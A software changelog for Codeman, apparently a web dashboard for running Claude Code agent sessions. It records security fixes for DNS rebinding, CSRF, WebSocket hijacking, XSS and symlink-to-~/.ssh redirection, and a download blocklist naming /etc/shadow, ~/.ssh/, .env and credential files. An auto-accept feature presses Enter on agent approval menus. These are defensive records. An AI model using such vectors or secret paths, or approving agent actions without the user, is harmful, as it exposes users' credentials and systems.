- tmux pane-buffer primitives and session/render reliability fixes for the terminal pipeline, with re-review findings addressed
**Mobile / touch (PR #111)**
- Terminal and layout fixes for touch devices: desktop focus handling, WS resize-claim wiring, CJK setting, ESC passthrough
- New: Esc button in the simple (default) keyboard accessory bar, next to paste — sends a real ESC to the session
**Defaults & UI**
- Monitor panel is now disabled by default on fresh installs (desktop previously slid it open at startup; mobile was already off). Opt in via App Settings -> Show Monitor
- Fixed the session-tab task badge silently failing to open the Monitor panel when it was hidden by the setting (long-broken on mobile)
- Local echo defaults audited and confirmed per-device: off on desktop, on for touch devices, never server-synced
## 0.9.7
### Patch Changes
- Fix installer failure on corrupt puppeteer cache + add Simplified Chinese README.
- **Installer / self-update reliability**: The universal installer (`install.sh`) and the in-app self-updater (`scripts/self-update.sh`) now set `PUPPETEER_SKIP_DOWNLOAD=1` before `npm install`. `puppeteer` is a devDependency used only by `scripts/browser-comparison.mjs`; its ~150MB `chrome-headless-shell` download is never needed to build or run Codeman. Previously, a partially-downloaded browser cache (folder present, executable missing) made puppeteer refuse to re-download and abort `npm install`, which failed the entire install/update — most visibly on macOS (`mac_arm`). The download is now skipped on both paths; callers can still opt back in with `PUPPETEER_SKIP_DOWNLOAD=0`.
- **Docs**: Added a Simplified Chinese translation of the README (`README.zh-CN.md`) with an English/中文 language switcher in `README.md`. Refreshed the README and documented the v0.9.5 security hardening (Host-header/DNS-rebinding guard, cross-site Origin/CSRF guard, anti-CSWSH WebSocket validation).
## 0.9.6
### Patch Changes
- Self-updater: show live progress during the slow steps so an update no longer looks frozen.
- The detached update runner (`scripts/self-update.sh`) now emits a heartbeat every few seconds during `npm install` and `npm run build`, refreshing the update status with the latest output line (full output is still written to the update log).
- App Settings → Updates now shows the live status message plus a ticking elapsed-time counter during non-terminal phases, instead of only a static phase label.
This takes effect when updating _from_ a build that includes it — the detached runner script and the polling UI are both the from-version's copies.
## 0.9.5
### Patch Changes
- Security hardening from the 2026-06-09 adversarial review — close the remote-exploit paths that affected the default (loopback + no-password) configuration. Full report: `docs/reports/security-review-2026-06-09.md`.
- **Anti-DNS-rebinding Host allowlist (always on).** A new request guard rejects requests whose `Host` is a custom domain rebound to a loopback/LAN address — previously a website the operator merely visited could DNS-rebind to `127.0.0.1` and drive the entire API (arbitrary command execution, since sessions run `--dangerously-skip-permissions`). The allowlist accepts `localhost`, any bare IP literal, the bind host, `*.ts.net` / `*.trycloudflare.com` / `*.cfargotunnel.com`, the active managed tunnel, and anything in the new `CODEMAN_ALLOWED_HOSTS` env var (comma-separated; `host` or leading-dot `.suffix`).
- **Cross-site (CSRF) Origin guard on all state-changing requests.** Forged cross-site requests are rejected; a missing `Origin` is allowed so `curl`/CLI automation and Claude Code hooks keep working. This closes the previously CSRF-triggerable self-update, session create/input, and settings/tunnel-toggle endpoints.
- **`text/plain` body parser no longer JSON-parses every request body** (which let a cross-site "simple request" submit JSON with no CORS preflight). The crash-diagnostics beacon now parses its own body.
- **WebSocket terminal upgrade now validates `Origin`/`Host`** (blocks cross-site WebSocket hijacking that could inject keystrokes into a running agent).
- **Stored-XSS fix:** AI-/transcript-derived fields (tool name, tool detail, tool id, hook text) in the subagent activity panel are now HTML-escaped.
Operational note: if you front Codeman with a custom reverse-proxy domain, allow it via `CODEMAN_ALLOWED_HOSTS=host,.suffix`. Setting `CODEMAN_PASSWORD` also fully mitigates these via the existing auth hook.
## 0.9.4
### Patch Changes
- In-app self-updater, plus the SSE-registry and security-doc changes since 0.9.3.
**New: update Codeman from the web UI (App Settings → Updates).** A "Check for updates" button asks the server to query GitHub for the latest tagged release (falling back to `git ls-remote`) and shows its release notes; "Update now" then runs the full `git checkout <tag>` → `npm install` → `npm run build` → restart cycle and streams live progress that survives the service restart (the browser polls a status file across the connection drop).
- **Channel:** latest tagged release (e.g. `codeman@0.9.4`), not bleeding-edge master.
- **Dirty working trees are auto-stashed** (`git stash`, left for you to `git stash pop`) instead of discarded.
- **Cross-platform restart**, detected from the running process: systemd (`systemctl --user restart codeman-web`) on Linux, launchd (`launchctl kickstart`) on macOS, or a printed manual command otherwise.
- **Survives its own restart:** the updater runs detached in a transient `systemd-run --user --scope` (Linux) or `setsid` session (macOS), so the restart it triggers cannot kill the build mid-flight.
- **Safety:** build failure rolls back to the pre-update commit (never restarts into a half-built `dist/`); the pre-restart status marker is reconciled on boot with an update-id + freshness guard so a normal reboot is not misreported as a completed update; concurrent updates are rejected (409); the runner script is staged outside the repo so `git checkout` cannot corrupt it mid-run; release tags are strictly validated before reaching the shell; `CODEMAN_DISABLE_SELF_UPDATE=1` disables the feature; non-git (npm-global) installs are detected and pointed at `npm i -g aicodeman@latest`.
- New endpoints: `GET /api/system/update/check`, `POST /api/system/update`, `GET /api/system/update/status`.
**Also in this release:**
- Sync the frontend `SSE_EVENTS` registry (`constants.js`) with the backend `sse-events.ts` so every broadcast event has a matching frontend entry.
- Expand `docs/security-architecture.md` with the trust model, CSP detail, and a source-file map.
## 0.9.3
### Patch Changes
- Installer security notice + clarify gesture control stays opt-in and default-off.
- **Installer:** `install.sh` now prints the network-security notice as the final block of both the fresh install (one-line `curl … | bash`) and the update flow, so it stays visible to the user: Codeman binds `127.0.0.1` by default (no password needed), and the safe ways to reach it remotely (`tailscale serve` / tunnel, or `--host 0.0.0.0` + `CODEMAN_PASSWORD`), noting a non-loopback bind without a password still starts but warns loudly.
- **Gesture control** is **disabled by default** and is enabled only by the per-user toggle at App Settings → Display → Input → Gesture Control (`gestureControlEnabled`, default `false`). Setting `CODEMAN_GESTURE=1` on the server only makes the feature _available_ (CSP widening + same-origin `/gesture/` assets); it does **not** turn the overlay on. There is no default-on path — the bundle is injected only when a user explicitly enables the setting.
## 0.9.2
### Patch Changes
- Vendor the gesture-control source into the repo for in-tree development.
The hand-tracking overlay's source (previously the standalone `Ark0N/codeman-gesture-control` repo) now lives at `packages/gesture-control/` as the `codeman-gesture-control` workspace package: the transport-agnostic gesture core (`src/gesture/*` — MediaPipe GestureRecognizer → One-Euro-filtered cursor → pinch state machine), the Codeman consumer entry (`src/codeman/entry.ts`, maps grab/drag/drop onto real session tabs + toolbar buttons), and a standalone vite playground for iterating on gesture feel.
- New `npm run build:gesture` (`scripts/build-gesture-bundle.mjs`) esbuild-bundles `entry.ts` into the served `src/web/public/gesture/gesture-codeman.js`; `scripts/build.mjs` now reruns it on every production build so the served bundle always reflects current source. The MediaPipe wasm + model stay runtime-loaded from same-origin `/gesture/` (unchanged).
- Added `@mediapipe/tasks-vision@0.10.21` as the package dependency (kept in sync with `fetch-gesture-assets.mjs`). The playground uses vite 7 (no known advisories).
No change to the shipped app behavior — gesture control remains opt-in (`CODEMAN_GESTURE=1` + the App Settings → Input toggle). This release just makes the overlay developable inside the Codeman repo.
## 0.9.1
### Patch Changes
- Multi-monitor & settings UX fixes.
- **Multi-monitor button (remote servers):** the "span displays" button spawns `scripts/span-codeman.sh` server-side, so on a non-macOS Codeman server it can't open a window on your machine. The non-macOS API error now explains this and points to running the script locally on your Mac with the remote server URL; the script header documents the same remote-client workflow.
- **App Settings modal:** stop the modal overflowing horizontally on narrow viewports.
- **systemd:** sync the `codeman-web.service` template with the deployed unit.
## 0.9.0
### Minor Changes
- Security hardening release: network-bind policy, auth lockout recovery, download/SVG hardening, dependency & supply-chain fixes, tmux launch reliability, and a full security-architecture doc.
**Network binding (COD-29, #107):**
- The web server now defaults to binding `127.0.0.1` (loopback) instead of `0.0.0.0`, so a fresh install is reachable only from the same machine and needs no password. New `--host` / `-H` / `CODEMAN_HOST` flag to choose the bind host.
- Binding a non-loopback host **without** `CODEMAN_PASSWORD` no longer refuses to start — it **starts and prints a loud warning** with the three ways to secure it (set `CODEMAN_PASSWORD`, bind loopback + an authenticated tunnel / `tailscale serve`, or acknowledge with `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1`). This keeps Codeman "just working" for new users while making remote exposure a guided, explicit choice. Host classification lives in the new `src/web/network-auth-policy.ts` (handles `127.0.0.0/8`, `::1`, `::ffff:127.*`, bracketed IPv6).
- A post-install security note now explains the loopback default and how to expose safely.
**Authentication (COD-29, #107):**
- Auth lockout now recovers gracefully: the per-IP rate-limit (`429`) check runs **after** the cookie/credential checks, so a valid session cookie or correct password is never locked out by a prior attacker's failures from the same IP (important behind a shared-IP tunnel). Wrong credentials are still counted and still hit the limit, and a `Retry-After` header is returned.
**Downloads & content-type hardening (COD-29, #107):**
- New session-scoped `POST /api/download` route: realpath-bounded to the session working dir, a sensitive-path blocklist (`/etc/shadow`, `~/.ssh/`, `.env`, `*credentials*`, …), `isFile()` + 50 MB cap, forced `attachment`.
- Workspace `.svg` files are served as `application/octet-stream` + `attachment` + `nosniff` (closes a stored-XSS-via-SVG vector); `nosniff` now applies to all `file-raw` responses.
**Dependencies & supply chain (COD-28, #106):**
- Bumped security-sensitive deps to patched versions (`@fastify/static` 9, `fastify` 5.8, `uuid` 14, `vitest` 4.1, …) and added `overrides` for patched transitives (`picomatch`, `basic-ftp`, `fast-uri`, `flatted`); `npm audit` goes from 7 advisories to 0.
- New `npm run check:public-assets` (`scripts/check-public-assets.mjs`): scans `src/web/public/**` for literal NUL bytes and runs `node --check` on every `.js` file, plus a Prettier pass on maintained files. Removed literal NUL placeholders from `app.js`. Added `test/dependency-security.test.ts` and `test/frontend-public-tooling.test.ts`.
**tmux launch reliability (COD-31, #110):**
- New tmux sessions and respawns launch from a stable `/tmp` and `cd` into the workspace inside the pane, avoiding `new-session` crashes when a FUSE/rclone-mounted workspace has a transient mount blip at launch. The `cd "<dir>" && <cmd>` form is fail-safe (the CLI never runs in `/tmp`) and the path is validated + double-quoted.
**Test stability (COD-30, #108):**
- Cleared leaked auth env in the Vitest setup, corrected stale route status-code / SSE-lifecycle expectations to match shipped behavior, updated the mobile keyboard accessory expectations, and measured DOMContentLoaded via browser navigation timing. Also fixed the `WebServer` title tests for the new `host` constructor arg + async `renderIndexHtml`.
**Docs:**
- New `docs/security-architecture.md` documenting the full model (network binding, auth pipeline, the tunnel `req.ip` caveat, file-serving hardening, supply-chain, multi-instance isolation, security headers, and recommended secure setups). CLAUDE.md updated accordingly.
## 0.8.2
### Patch Changes
- Session detach/undock, opt-in gesture-control overlay, multi-monitor spanning, new App-Settings toggles, and asset cache-busting.
- **Session detach/undock + instance isolation (#103):** Detach a session into its own solo (popup) window from the tab strip. Adds multi-instance isolation primitives in `src/config/instance.ts` (`getDataDir()`/`dataPath()`/`DEFAULT_TMUX_SOCKET`) keyed off `CODEMAN_INSTANCE`, so a beta can run side-by-side with prod without discovering/attaching to prod's live tmux sessions or clobbering its `state.json`. `CODEMAN_INSTANCE` defaults to the production layout (`~/.codeman`, `-L codeman`, port 3000), so master installs are unaffected. Adds `scripts/run-beta.sh` (`CODEMAN_INSTANCE=beta` + `CODEMAN_PORT=5000`). The legacy `~/.claudeman` migration is now scoped to the default instance only. Hardened detach edge cases. Tests: `test/config/instance.test.ts`.
- **Gesture-control overlay (Phase 5, opt-in via `CODEMAN_GESTURE=1`):** Camera hand-tracking overlay (self-hosted MediaPipe — wasm + model fetched at install/build via `scripts/fetch-gesture-assets.mjs` rather than committed). `CODEMAN_GESTURE=1` makes the feature _available_ (CSP widening + `/gesture/` assets + `window.__codemanGestureAvailable`); the per-user **Gesture Control (beta)** toggle (App Settings → Display → Input, default OFF) is the actual on/off and reloads the page to inject/remove the bundle. Dashboard-only (not solo popups). Labeled "(beta)" (#109).
- **Multi-monitor button:** Header button (opt-in via App Settings → Display → Header Displays) that POSTs `/api/system/span-displays` to spawn `scripts/span-codeman.sh` — a maximized browser `--app` window sized to the union of all displays, so the gesture layer's floating panels can drag across the physical monitor seam. Tests: `test/routes/system-span-displays.test.ts`.
- **New App-Settings toggles (#105):** Gesture control and the multi-monitor button are both opt-in (default OFF), with live show/hide on save.
- **Asset cache-busting:** `renderIndexHtml` appends `?v=<mtime>` to every same-origin `.js`/`.css` reference; `index.html` is served `no-cache`, so a normal reload picks up edited modules/styles without a hard refresh. Tests: `test/render-index-html.test.ts`.
- **Gesture Control toggle placement:** the toggle now lives inside the existing **Input** settings section (alongside Local Echo / CJK Input / Extended Keyboard Bar) instead of a duplicate "Input" section; only the toggle itself is hidden when `CODEMAN_GESTURE=1` is unset, leaving the rest of the section intact.
- **Service env:** `scripts/codeman-web.service` now sets `CODEMAN_GESTURE=1` so the gesture feature is available on the local install (still gated behind the default-OFF per-user toggle).
- **Docs:** CLAUDE.md updated for the orchestrator loop, multi-monitor/span-displays, cache-busting, gesture/multi-monitor toggles, and structural-count fixes.
## 0.8.1
### Patch Changes
- Thinking Effort now flows as a soft default the user can override in-session (PR #104, by @TeigenZhang).
Previously Codeman carried the effort setting as the `CLAUDE_CODE_EFFORT_LEVEL` env var, which Claude Code treats as a hard override — it locked effort for the whole session and rejected in-session `/effort` switching (including switching to `ultracode`). Effort is now injected at spawn time as a CLI soft default that `/effort` can still change freely in either direction:
- Regular levels (`low`/`medium`/`high`/`xhigh`/`max`) are passed via `claude --effort <level>` (the settings `effortLevel` key silently drops `max`, so the flag is used instead).
- `ultracode` (xhigh effort + standing dynamic-workflow orchestration) is passed via `claude --settings '{"ultracode":true}'`, since the `--effort` flag rejects it.
Details:
- New `effort` field on the create-session, quick-start, and Ralph-loop request schemas; threaded through `Session._effort` to both spawn paths (tmux `buildSpawnCommand` and direct-PTY `buildInteractiveArgs`), persisted in `SessionState.effort`, and restored on reboot recovery.
- `buildEffortCliArgs()` is the single, allowlist-validated source for both carriers (injection-safe).
- Settings UI adds an "Ultracode (multi-agent workflows)" option to the Thinking Effort dropdown; the frontend no longer emits `CLAUDE_CODE_EFFORT_LEVEL`.
- Legacy migration: sessions persisted with the old env var are auto-migrated into the new `effort` field, and the stale tmux env var is unset so respawned panes are no longer locked.
- Adds `test/effort-injection.test.ts` (13 cases) covering carrier mapping, injection guards, args building, and constructor migration.
## 0.8.0
### Minor Changes
- Event-loop responsiveness fix, mobile image upload, response-viewer polish, and a mobile-UI trim.
- **fix: avoid event-loop stalls from synchronous tmux/ps calls (#100):** The session manager ran `execSync` for tmux mouse-mode toggles, `list-panes`, and `ps`/`pgrep` resource-stat queries on the main thread. Under multi-session / many-pane load these blocking spawns froze Node's single event loop, stalling SSE broadcasts and PTY I/O (the ":3000 briefly unreachable, process never restarts" class of incident). Converted those calls to async `execAsync` and updated all callers to `await`. Added a lightweight `utils/event-loop-monitor.ts` that samples loop-delay and logs when a stall threshold is exceeded, started on web-server boot and stopped on shutdown — so future regressions leave a timestamped, quantified log line instead of vanishing silently.
- **feat(web): mobile image upload to active session via paste dialog (#101):** The mobile keyboard-accessory paste dialog now attaches images, not just text — via a native picker (`accept=image/*` → camera / photo library / files) plus best-effort capture of images pasted into the textarea. Both paths reuse the existing `_uploadAndInsertImages()` → `POST /api/sessions/:id/paste-image` pipeline. Images are re-encoded client-side before upload (PNG→PNG to preserve transparency, everything else→JPEG, animated GIFs passed through untouched) so the bytes always match their declared extension — fixing the Android/MIUI case where a WebP/HEIF mislabeled as `image/jpeg` passed the extension allowlist but failed the server's magic-byte check. The server logs a precise diagnostic on any remaining magic-byte mismatch.
- **feat(web): response-viewer transcript fallback + code-block rendering (#102):** A substantial response-viewer styling overhaul — proportional prose font (monospace kept for code), refined heading/code/blockquote/list styling, readable max content width, and a smoother slide-in animation; the `.rv-text` rules now also apply to `.response-viewer-body` so transcript-missing fallback content gets the same typography. Plus a `_renderMarkdown` null-safety fix (`text` → `src = text || ''`).
- **feat(web): remove /compact button from the mobile keyboard accessory bar:** Dropped `/compact` from both the simple and extended accessory-bar layouts and the associated action handling. `/clear` retains its double-tap confirmation. Verified on a touch-emulated viewport that neither layout renders a compact action.
## 0.7.1
### Patch Changes
- **fix(respawn): auto-accept now fires on plan approvals after `Worked for X` line, and on AskUserQuestion menus**
Two related blockers in the respawn controller's auto-accept path:
- Modern Claude Code emits `✻ Worked for Xm Ys` immediately before a plan-approval menu. `_detectCompletionMessage()` cancelled the auto-accept timer and `canAutoAccept()` then rejected on `completionMessageTime !== null`, so plan approvals **never** auto-accepted — the 10 s completion-confirm timer instead started a respawn cycle while the menu sat unanswered.
- The same logic in `signalElicitation()` set a hard flag that blocked auto-accept whenever Claude Code fired the `elicitation_dialog` hook, contradicting the in-UI hint ("Auto-accept presses Enter for plan approvals **and default question options**"). AskUserQuestion menus were therefore never auto-accepted either.
Fix:
- `_detectCompletionMessage()` no longer cancels the auto-accept timer; the auto-accept pre-filter is now the authoritative "is there a numbered selection menu?" gate.
- `canAutoAccept()` and the AI-plan-check callback both accept `'watching'` AND `'confirming_idle'` states (covers the single-PTY-burst case where `Worked for` and the menu arrive together — `_detectCompletionMessage` returns early before the substantial-output check can demote state back to watching). `sendAutoAcceptEnter()` self-transitions back to `'watching'` before sending Enter.
- `signalElicitation()` is now an affirmative hint that primes the auto-accept timer instead of blocking. Still gated on `config.autoAcceptPrompts` AND state ∈ {`watching`, `confirming_idle`} — never fires Enter when respawn is off or auto-accept is disabled.
- AI plan-check prompt broadened to recognize AskUserQuestion / elicitation menus as valid for auto-accept (the verdict name `PLAN_MODE` is preserved for compatibility but now means "auto-accept this selection menu").
- Removed the now-unused `elicitationDetected` field and its assignments.
Two new regression tests cover both the separate-PTY-chunk and single-PTY-chunk cases; the previously misleading "should NOT send Enter when completion message was detected" test was renamed and re-scoped to clarify it tests the **no-menu** path (which still correctly rejects via the pre-filter).
**docs(web): correct `sendPendingCtrlL` comment** — removed the stale "called by foo/bar" note from the dead-call-graph helper after #99.
## 0.7.0
### Minor Changes
- Response viewer & terminal-stability improvements, plus test/error-handling hardening.
- **Copy button on code blocks (#98):** Every fenced code block in the response viewer now has a one-click copy button pinned to its top-right, outside the `<pre>` scroll container so it stays put during horizontal scroll. ASCII diagrams keep their line-wrap toggle alongside it. Copy prefers the async Clipboard API and falls back to a hidden-textarea + `execCommand` path, so it works over plain HTTP (tunnel) too, with a brief ✓/✕ feedback state.
- **Fix: stop auto-sending Ctrl+L from session-selection paths (#99):** A fast page refresh or SSE reconnect could fire two programmatic Ctrl+L (`\x0c`) sends within Claude Code 2.x's "clear conversation" confirmation window, silently wiping the active conversation. Removed the automatic Ctrl+L sends from `selectSession()`, `restoreTerminalSize()`, and the dead `sendPendingCtrlL()` path; redraws now rely on resize/SIGWINCH. User-initiated Ctrl+L still works. Trade-off: an occasional transient stale Ink frame right after refresh that self-heals on the next keypress — far preferable to silent data loss.
- **Test & error-handling hardening (#97):** Repaired route-test harness error rendering via a dedicated `route-error-handler.ts`, and stopped the AI idle/plan checkers from spawning real processes during tests.
## 0.6.12
### Patch Changes
- Fix new-session crash after a tmux upgrade and isolate Codeman sessions on a dedicated tmux socket.
- **Pane file-descriptor limit**: raise `ulimit -Sn` before launching the CLI (in both the spawn and respawn paths) so the newer tmux + macOS launchd combination — which hands panes a low soft `nofile` limit (256) that recent Claude Code refuses to start under — no longer kills every freshly spawned session on startup.
- **Single-socket isolation**: all Codeman-owned tmux sessions now live on a dedicated socket (`tmux -L codeman`, overridable via `CODEMAN_TMUX_SOCKET`), fully separated from the user's default tmux server. The socket name is validated and shell-escaped at every call site.
- **Drop the drift-prone per-session `tmuxSocket` field**: session reconciliation collapses to a single `list-panes` query against the one socket, eliminating live sessions being wrongly marked dead ("session not found") and duplicate "Restored:" tabs. Stale per-session socket tags and duplicate records are cleaned from disk on load (dedup by `muxName`, keeping the real entry over `restored-` placeholders).
- **Route remaining bare-`tmux` call sites through the socket**: the window-size query on re-attach (previously fell back to 120×40 and lost scrollback) and the send-key route (Shift+Enter / Ctrl+Enter newline).
- **SSH chooser scripts** (`tmux-manager.sh`, `tmux-chooser.sh`) route every tmux call through the dedicated socket.
## 0.6.11
### Patch Changes
- Resume Conversation: fixes and folder drill-down.
- **fix(history)**: `decodeProjectKey()` now uses longest-join-first backtracking with on-disk validation, so sibling directories sharing a prefix (e.g. `diary/` vs `diary-app/`) resolve to the correct path. Previously the greedy shortest-match decoder picked the shorter name and bailed, surfacing `$HOME` in the Resume Conversation list and resuming into the wrong folder. Greedy decode is kept as a fallback so history for deleted projects still resolves. (#92)
- **fix(tabs)**: Drop the client-side resurrection of ended-session tabs. The old code cached open tabs in `localStorage` and rebuilt them as grayed-out stubs whenever the server no longer knew them, which left phantom tabs after closing a session on another device. The server is now the single source of truth; legacy `localStorage` keys are purged on init. Net -44 / +6 lines. (#93)
- **feat(history)**: New "View all in this folder" drill-down on Resume Conversation. `GET /api/history/sessions` accepts `projectKey` (validated against `^[A-Za-z0-9_-]+$` before any filesystem access), `offset`, and `limit`; single-folder mode bypasses the 50-cap and returns `{ sessions, total }`. Frontend adds a modal listing 20 sessions per page with a "Show more" pagination button. Modal items omit their own "View all" button to prevent recursive entry points. (#94)
## 0.6.10
### Patch Changes
- ## Security: paste-image endpoint hardening (#90)
Addresses seven findings from the dismissed review of #84. Most exposed in tunneled deployments where `CODEMAN_PASSWORD` is set but the server is reachable beyond localhost.
- **CSRF protection** on `POST /api/sessions/:id/paste-image`. Requires `Origin`/`Referer` to match `req.host`; non-browser clients (no `Origin` and no `Referer`) must send `X-Codeman-CSRF`. Defeats cross-origin `<form enctype="multipart/form-data">` submits that would otherwise plant arbitrary bytes into the victim's `.claude-images/` while their session cookie is live.
- **Magic-byte validation** on uploaded images. Sniffs the first 12 bytes against PNG/JPEG/GIF/WebP/BMP signatures and rejects 415 on mismatch. Polyglot HTML-or-SVG-with-image-MIME no longer round-trips through the endpoint.
- **Symlink-safe writes** on `.claude-images/`. `lstat` before the write, non-recursive `mkdir`, `O_EXCL|O_NOFOLLOW` on file open. A `node_modules` postinstall (or the agent itself) planting `.claude-images -> ~/.ssh/` no longer redirects pastes outside `workingDir`.
- **Multipart parser swap** to `@fastify/multipart` with `limits: { fileSize: 10MB, files: 1, fields: 4 }`. Replaces a hand-rolled boundary scanner that matched the literal boundary anywhere in the body, hard-coded `\r\n` (silently corrupting LF-only clients), and had no part-count cap.
- **Rate limit + GC**: token-bucket (30/min per IP+session) and hourly GC of `paste-*` files older than 7 days from each live session's `.claude-images/`. New `paste-image-gc.ts` started/stopped from `WebServer.start/stop`.
- **Collision-free filenames**: `paste-${Date.now()}-${randomBytes(4)}${ext}`. Two tabs pasting in the same millisecond no longer silently last-write-wins.
- **Bracketed-paste preservation**: text-only paste in `image-input.js` now goes through `terminal.paste(text)` instead of `sendInput(text)`, so xterm preserves `CSI 200~ ... CSI 201~` markers — Claude Code uses them as part of its prompt-injection defenses.
## Fix: duplicate multipart parser conflict
Removed a duplicate multipart content-type parser left behind after the swap above. The duplicate registration conflicted with `@fastify/multipart`'s own parser; uploads now flow through the plugin exclusively.
## WebGL renderer auto-fallback hardening (#91)
Follow-ups on the longtask auto-fallback shipped in #83.
- `PerformanceObserver` is now disconnected on `onContextLoss` as well as on the trip path. Previously the observer outlived its disposed addon after a context loss, holding a closure reference over every longtask the page emitted.
- Thresholds (`200ms / 3 longtasks / 30s window / 5s grace / 7d sticky-disable`) are hoisted to `WEBGL_FALLBACK` in `constants.js`. No more inline literals.
- New `evaluateWebGLLongTaskTrip()` pure helper splits the rolling-window arithmetic from the `PerformanceObserver` callback so the trip math is unit-testable. New `test/webgl-fallback.test.ts` (9 tests, port 3166): trip inside window, no-trip when spread, sub-threshold filtering, stale-entry pruning, cumulative counting across batches, observer-dispose idempotency.
## CI: server boot smoke test
GitHub Actions now boots the server as a final step after typecheck/lint/format. Catches production-only ESM/CJS regressions that `tsx` masks in dev.
## Docs
`CLAUDE.md` frontend-module table updated to include `image-input.js` (overlooked when #84 landed).
## 0.6.9
### Patch Changes
- Terminal renderer hardening, SSE bandwidth cut, image paste, and a security tightening on the new live filter:
- **Multi-primitive yield for write pacing** (#85): replaces six raw `requestAnimationFrame` callsites in the xterm.js write pipeline with a yielding helper that races `requestAnimationFrame`, `setTimeout(50)`, and a tick Worker. Keeps the terminal responsive when the tab is backgrounded or occluded — Chrome's intensive-throttling no longer stalls long writes.
- **WebGL longtask auto-fallback** (#83): a `PerformanceObserver` watches for ≥200ms WebGL frames; three within a 30s window disposes the WebGL addon and falls back to the canvas renderer. Decision is persisted in localStorage for 7 days, and `?webgl=force` clears it.
- **Per-client live SSE subscription filter** (#86): each connected client gets a stable UUID and can narrow its terminal stream to one session via `POST /api/events/subscribe` — no EventSource reconnect on tab switches. Cuts SSE bandwidth roughly N× when N sessions are open. Lifecycle/metadata events (`session:*`, `case:*`, `ralph:*`, `hook:*`) now broadcast to every client so sidebars stay in sync.
- **Image paste and drag-and-drop into the terminal** (#84): `Ctrl+V` and dropped images upload to `POST /api/sessions/:id/paste-image`, save under `${workingDir}/.claude-images/paste-${ts}.${ext}` and type the path into the terminal. Hard 10MB cap, server-generated filename (no traversal), `.svg` deliberately excluded from the allowlist to avoid a same-origin XSS path through `file-raw`.
- **SSE clientId validation**: the per-client identifier introduced in #86 is now constrained to `[A-Za-z0-9_-]{8,64}` at both ingress points. Without this, an authenticated attacker could send another tab's clientId to silently evict it from broadcasts, mutate any clientId's session filter to blackhole the victim's terminal stream, or grow `sseClientsById` unboundedly via long IDs. The subscribe payload is also capped at 64 session entries of ≤128 chars each.
## 0.6.8
### Patch Changes
- Finish the hostname-aware notification plumbing started in 0.6.7 and lock down the recent UI/runtime fixes with regression tests.
- Browser Notification API (OS-level desktop pop-ups, layer 3 of the 5-layer notification system) now uses `${originalTitle}: ${title}` instead of the hardcoded `Codeman:` literal — so multi-host users running Codeman on laptop / dev box / NAS see `codeman:<host>: <event>` consistently across tab title, tab-flash, Web Push, and OS notifications.
- Inline session rename hardened against three corner cases: IME composition commits (Chinese pinyin Enter no longer ships half-composed text as the session name), mid-rename SSE deletion (orphaned `<input>` no longer 404s on blur), and double-fire on stuck settle-once flag (closure-local `settled` boolean replaces the boolean instance flag).
- Test coverage backfilled for two prior shipped fixes:
- `<title>codeman:<host></title>` server-side templating (#82): 8 tests covering default `os.hostname()`, `--title-hostname` override, HTML-escape against `<script>`-style breakout, ampersand non-double-encoding, and template-tail byte-identical invariance.
- tmux size-query helper (#80): 15 tests covering the browser-resize-between-attaches happy path, the query-then-die race, zero/negative/empty/non-numeric output fallbacks, and argv-form/timeout assertions that lock down the no-shell-interpolation guarantee. Inline 14-line query block extracted into a named `queryTmuxWindowSize()` export in `session.ts` so the test surface is a pure function.
- Regression coverage added for `stripInkRedrawBloat` route helper.
- CLAUDE.md and README.md updated to document dual-CLI env-prefix discipline (`CLAUDE_CODE_*` vs `OPENCODE_*`), the `xterm-zerolag-input` published-package side-effect of overlay edits, and the unified hostname prefix across tab title / tab-flash / OS notifications.
## 0.6.7
### Patch Changes
- - **fix(client): preserve inline rename input across tab re-renders** (#81) — Right-click → rename on a session tab no longer loses keystrokes when SSE traffic from sibling sessions triggers a tab re-render. Adds an `_inlineRenameActive` guard at the top of `renderSessionTabs()` and `_fullRenameSessionTabs()` so the in-progress input isn't destroyed mid-typing. Also fixes a latent double-fire of `finishRename` (blur + Enter could both invoke it). Drive-by: safer DOM child clearing in place of `innerHTML = ''`.
- **feat: hostname-aware window title** (#82) — The browser tab title is now `codeman:<hostname>` instead of the bare `Codeman` literal, so users running Codeman on multiple hosts (laptop, dev box, NAS) can tell at a glance which tab points at which backend. New `--title-hostname <name>` CLI flag overrides the detected `os.hostname()` when it's noisy or you want a cosmetic name. The title is templated into the served HTML on first byte (with narrow HTML escaping), so it's correct from the first paint and works without JavaScript. Title-flash logic now respects the per-host title.
- **perf: larger terminal tail on tab switch** — `TERMINAL_TAIL_SIZE` raised from 128KB to 1MB. When switching back to a busy session tab you now get ~8× more scrollback restored immediately.
- **fix: preserve response text in Ink redraw stripping** — `stripInkRedrawBloat()` rewritten from a first-VPA approach to cluster-based detection. The previous algorithm assumed all VPA escapes after the first one belonged to a single redraw region and discarded everything in between, which silently lost 100KB+ of legitimate Claude response text once a render had occurred. The new approach groups VPAs into clusters separated by ≥8KB gaps and only collapses clusters spanning ≥32KB, so streamed response content between redraw bursts is preserved.
- **docs**: `CLAUDE.md` Additional Commands gains the `--title-hostname` row; `README.md` gets a "Hostname-Aware Window Title" subsection under Multi-Session Dashboard.
## 0.6.6
### Patch Changes
- **Terminal scrollback significantly increased** — both the xterm.js viewport and the tmux backing buffer were bottlenecking how far back you could scroll. Three changes:
- `DEFAULT_SCROLLBACK` raised from 20000 → 50000 lines (xterm.js, main terminal). The previous bump from 5000 only helped users with empty localStorage; existing users were stuck on whatever value they first picked up. The loader now treats `DEFAULT_SCROLLBACK` as a floor — if your stored value is below the new minimum, you're raised to it automatically.
- Subagent / teammate terminals (`panels-ui.js`) were stuck at 5000; now use the same `DEFAULT_SCROLLBACK` constant (50000).
- New tmux sessions now run with `history-limit 50000` (tmux defaults to 2000). This matters for hard-reload / re-attach — without it, only the last ~2000 lines survive the round-trip back into a fresh xterm.
**Tmux flicker on session re-attach fixed (PR #80 by @aakhter)**: the PTY now queries the existing tmux window size via `tmux display -p` before spawning, instead of hardcoding 120x40. Previously, every re-attach forced tmux to resize down to 120x40, causing a visible flicker and one frame of scrollback loss. The `-x 120 -y 40` flag was also dropped from `tmux new-session` so the initial size matches the first attaching client. Uses `execFileSync` (not shell) for safety and falls back to 120x40 on any error.
**Docs**: CLAUDE.md now documents two recurring foot-guns — the `xterm-zerolag-input` overlay code is duplicated between `packages/xterm-zerolag-input/src/` and inline inside `src/web/public/app.js`, so any overlay change must touch both; and the COM workflow explicitly includes a post-push `gh run watch` step to confirm CI before considering the release done.
## 0.6.5
### Patch Changes
- **Mobile fix**
